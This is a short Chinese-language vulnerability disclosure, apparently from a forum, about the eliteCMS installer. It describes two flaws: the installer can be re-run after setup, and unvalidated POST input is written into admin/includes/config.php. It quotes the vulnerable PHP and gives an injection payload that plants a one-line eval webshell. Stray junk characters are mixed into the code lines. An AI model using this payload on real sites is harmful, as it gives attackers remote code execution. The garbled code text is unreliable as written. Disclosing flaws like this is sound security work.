eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
) b! U6 X0 H& K# `5 @我们来看代码：

: h$ G, L6 M# v3 l" C; N% {  ]...
% G7 |& {; Z% i) y7 \0 Velseif ($_GET['step'] == "4") {
9 e8 R2 |1 l1 J* G" J. X    $file = "../admin/includes/config.php";
8 }2 ^5 M; h6 f* }6 f0 F    $write = "<?php\n";
    $write .= "/**\n";
9 e- y; S/ o' ^) u0 s5 s; k3 b    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
8 \. ~! Y. [" F: f3 J5 G  j...略...
    $write .= "*\n";
$ \6 Y) N: n/ B    $write .= "*/\n";
- W9 D: U3 J" ]4 H" ]% C* ~    $write .= "\n";
) X5 z$ j! @9 S- f    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) o2 f. h7 z: C# Z    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
! i# D. r# `( Z# a3 i' c9 c    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
; h6 u' M* q% H9 K$ T8 ~6 s    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
' s' X5 i+ I. q3 M- L- n. T    $write .= "} \n";
    $write .= "?>\n";
  @: ?7 d: u1 c5 w3 [
    $writer = fopen($file, 'w');
$ e% _+ \; c# Z$ R' o...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
' U4 t/ A/ M( ?$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
" A6 ?. S1 h5 G( B1 p
5 d! l, e" O8 O5 }0 t取值未作任何验证
如果将数据库名POST数据：

) m. O$ D2 h' t, u"?><?php eval($_POST[c]);?><?php
& `( a7 F" T# x2 j/ J+ Q* @
0 ?+ z' w! ~8 V9 a! [将导致一句话后门写入/admin/includes/config.php
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